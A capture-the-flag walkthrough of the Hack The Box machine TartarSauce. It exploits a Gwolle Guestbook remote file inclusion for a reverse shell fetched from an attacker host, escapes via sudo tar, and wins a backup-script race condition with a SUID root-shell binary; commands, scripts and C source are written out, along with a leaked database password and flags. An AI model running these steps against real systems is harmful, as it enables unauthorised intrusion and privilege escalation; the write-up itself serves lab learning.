TartarSauce — Hack The Box
| Info | Value |
|---|---|
| OS | Linux |
| Difficulty | Medium |
| IP | 10.129.1.185 |
| Hostname | tartarsauce.htb |
| Services | HTTP/Apache (80) |
Enumeration
Nmap
sudo nmap -Pn -sC -sV -p- -vvv -oA scan/nmap.scan tartarsauce.htbPORT STATE SERVICE REASON VERSION
80/tcp open http syn-ack ttl 63 Apache httpd 2.4.18 ((Ubuntu))
| http-robots.txt: 5 disallowed entries
| /webservices/tar/tar/source/
| /webservices/monstra-3.0.4/ /webservices/easy-file-uploader/
|_/webservices/developmental/ /webservices/phpmyadmin/
|_http-title: Landing Page
Only port 80 is open — Apache/2.4.18 (Ubuntu). Nmap directly detects robots.txt with 5 disallowed entries.
Web Enumeration
robots.txt reveals several paths under /webservices/:
/webservices/monstra-3.0.4/— Monstra CMS 3.0.4/webservices/tar/tar/source//webservices/easy-file-uploader//webservices/developmental//webservices/phpmyadmin/
Most paths return 404 — only Monstra is reachable.
Monstra CMS (Rabbit Hole)
Monstra 3.0.4 is accessible with default credentials admin:admin. Admin panel is functional, but file upload fails — upload directories have restrictive permissions (root-owned, www-data cannot write). This is not a machine bug, it is intentional.
WordPress
WordPress 4.9.4 found at /webservices/wp/. The site appears broken in the browser (malformed URLs in HTML source).
wpscan detection mode
The default
passivedetection mode of wpscan does not find plugins on this target.--plugins-detection aggressiveis required to enumerate all of them.
Plugin enumeration (wpscan --plugins-detection aggressive):
| Plugin | Version | Notes |
|---|---|---|
| akismet | 4.0.3 | XSS stored — not exploitable without user |
| brute-force-login-protection | 1.5.3 | Protects against brute force |
| gwolle-gb | 2.3.10 | Fake version! Changelog reveals: “Changed version from 1.5.3 to 2.3.10 to trick wpscan ;D” |
Gwolle Guestbook — RFI (CVE-2015-8351)
Vulnerability — CVE-2015-8351
WordPress Plugin Gwolle Guestbook 1.5.3 — Remote File Inclusion. The
abspathparameter inajaxresponse.phpis passed directly torequire(), allowing inclusion and execution of remote PHP files.Structural root cause: the HTTP GET parameter
abspathis not validated before being used inrequire(). The absence of a whitelist or path sanitization allows inclusion of remote resources whenallow_url_includeis enabled.
searchsploit "gwolle"
→ WordPress Plugin Gwolle Guestbook 1.5.3 - Remote File Inclusion
The plugin is actually at version 1.5.3, vulnerable to Remote File Inclusion. The version in readme.txt was modified by the machine author to trick wpscan.
From the plugin changelog (readme.txt):
== Changelog ==
= 2.3.10 =
* 2018-2-12
* Changed version from 1.5.3 to 2.3.10 to trick wpscan ;D
Initial Access
Exploit RFI with custom script (exploit2.py) — generates wp-load.php (PHP reverse shell) and starts an HTTP server on port 8001 (changed from 8000 to avoid conflicts). Fix applied: indentation error in the original script.
# Terminal 1 — listener
nc -nvlp 80
# Terminal 2 — exploit (HTTP server + payload)
python3 exploit2.py http://tartarsauce.htb/webservices/wp/ 10.10.14.139 80
# Terminal 3 — trigger RFI
curl -v -s http://tartarsauce.htb/webservices/wp/wp-content/plugins/gwolle-gb/frontend/captcha/ajaxresponse.php?abspath=http://10.10.14.139:8001/Shell obtained as www-data. Upgrade TTY:
python3 -c 'import pty;pty.spawn("/bin/bash")'
# Ctrl+Z
stty raw -echo; fg
export TERM=xterm
export SHELL=/bin/bash
stty rows 40 cols 160Post-exploitation — wp-config.php
www-data@TartarSauce:/var/www/html/webservices/wp$ cat wp-config.phpdefine('DB_USER', 'wpuser');
define('DB_PASSWORD', 'w0rdpr3$$d@t@b@$3@cc3$$');System user found in /etc/passwd: onuma (uid 1000).
Privilege Escalation
www-data → onuma
Vulnerability
sudo misconfiguration — www-data can execute
/bin/taras user onuma without a password.taris present on GTFOBins as a binary that allows shell escape via--to-command,--checkpoint-action, or the-Iflag.Structural root cause:
taris a binary that supports arbitrary command execution via multiple flags. Grantingsudoontaris equivalent to granting a shell as the target user.
Exploited via GTFOBins:
www-data@TartarSauce:$ sudo -u onuma /bin/tar xf /dev/null -I '/bin/sh -c "/bin/sh 0<&2 1>&2"'
onuma@TartarSauce:$onuma@TartarSauce:/var/tmp$ cat ~/user.txt
d78af224410873284592087e5cd18b1auser.txt obtained.
onuma → root (Race Condition in backuperer)
Discovery
Monitoring processes with pspy32 (transferred via HTTP from the attacking machine), an script /usr/sbin/backuperer executed as root every 5 minutes is identified:
onuma@TartarSauce:/tmp$ wget http://10.10.14.139/pspy32
onuma@TartarSauce:/tmp$ chmod +x pspy32
onuma@TartarSauce:/tmp$ ./pspy32CMD: UID=0 PID=2310 | /bin/bash /usr/sbin/backuperer
Script Analysis
onuma@TartarSauce:/tmp$ cat /usr/sbin/backupererVariables: the name of the temporary file is a random SHA1 hash preceded by . (hidden file), created in /var/tmp/ (world-writable).
basedir=/var/www/html
bkpdir=/var/backups
tmpdir=/var/tmp
errormsg=$bkpdir/onuma_backup_error.txt
tmpfile=$tmpdir/.$(/usr/bin/head -c100 /dev/urandom |sha1sum|cut -d' ' -f1)
check=$tmpdir/checkCleanup of previous files and creation of the archive. The script uses sudo -u onuma to create the tar — so the file is owned by onuma and writable by onuma.
/bin/rm -rf $tmpdir/.* $check
/usr/bin/sudo -u onuma /bin/tar -zcvf $tmpfile $basedir &30-second sleep — this is the window of the race condition. The archive already exists in /var/tmp/ as an onuma file, and the script waits before using it.
/bin/sleep 30Exploit — Race Condition
Script try.sh for replacing the archive during the 30-second window:
#!/bin/bash
/bin/tar -zcvf html -C /tmp var/www/html
sleep 3
ls -a | grep '^\.[^.]' > hash.txt
zip=$(cat hash.txt)
rm $zip
mv html /var/tmp/$zipExecution: monitor /var/tmp/ with watch -n 1 ls -la /var/tmp/, when the hidden file appears, launch ./try.sh from /var/tmp/.
Flag
onuma@TartarSauce:/var/tmp$ cat /var/backups/onuma_backup_error.txt------------------------------------------------------------------------
Integrity Check Error in backup last ran : Thu Mar 19 20:50:13 EDT 2026
------------------------------------------------------------------------
/var/tmp/.fa315b46de3117b9cf1f0b9934c91955579c5285
diff -r /var/www/html/robots.txt /var/tmp/check/var/www/html/robots.txt
1,7c1
< User-agent: *
< Disallow: /webservices/tar/tar/source/
< Disallow: /webservices/monstra-3.0.4/
< Disallow: /webservices/easy-file-uploader/
< Disallow: /webservices/developmental/
< Disallow: /webservices/phpmyadmin/
<
---
> d9429225b3c86932f7b4d092c9569553
root.txt: d9429225b3c86932f7b4d092c9569553
Alternative Method — Root Shell via SUID Binary
Besides reading files via symlink+diff, an interactive root shell can be obtained using the same race condition with a SUID binary.
1. Compile a SUID binary on the attacking machine (static compilation to avoid glibc issues):
// evil.c
#include <unistd.h>
#include <stdlib.h>
int main(void){
setreuid(0,0);
system("/bin/bash");
}gcc -m32 -static -o evil evil.cStatic compilation mandatory
Requires
libc6-dev-i386orgcc-multilibfor 32-bit cross-compilation. The-staticflag is mandatory because Kali’s modern glibc is incompatible with Ubuntu 16.04 of the target — without-staticthe binary fails withGLIBC_2.34 not found.
# Install if needed
sudo apt install gcc-multilib2. Transfer the binary and insert it into the malicious archive:
# On target, copy evil to /tmp/var/www/html/
onuma@TartarSauce:/tmp$ wget http://10.10.14.139/evil -O /tmp/var/www/html/evil3. Create the archive with owner root (the flag --owner=root --group=root sets ownership in the archive):
onuma@TartarSauce:/var/tmp$ /bin/tar -zcvf html -C /tmp var/www/html --owner=root --group=root4. Updated script pwn.sh — same principle as try.sh:
#!/bin/bash
/bin/tar -zcvf html -C /tmp var/www/html --owner=root --group=root
sleep 3
ls -a | grep '^\.[^.]' > hash.txt
zip=$(cat hash.txt)
rm $zip
mv html /var/tmp/$zip5. After replacement, backuperer extracts the archive as root in /var/tmp/check/. The evil binary is extracted with root ownership and SUID bit preserved:
onuma@TartarSauce:/var/tmp/check/var/www/html$ ls -la evil
-r-sr-sr-x 1 root root 748996 Mar 19 21:39 evil
onuma@TartarSauce:/var/tmp/check/var/www/html$ ./evil
root@TartarSauce:/var/tmp/check/var/www/html# whoami
rootRoot cause: backuperer runs tar -zxvf as root without --no-same-owner and without --no-same-permissions, so ownership and permissions (including SUID bit) from the archive are preserved on extraction.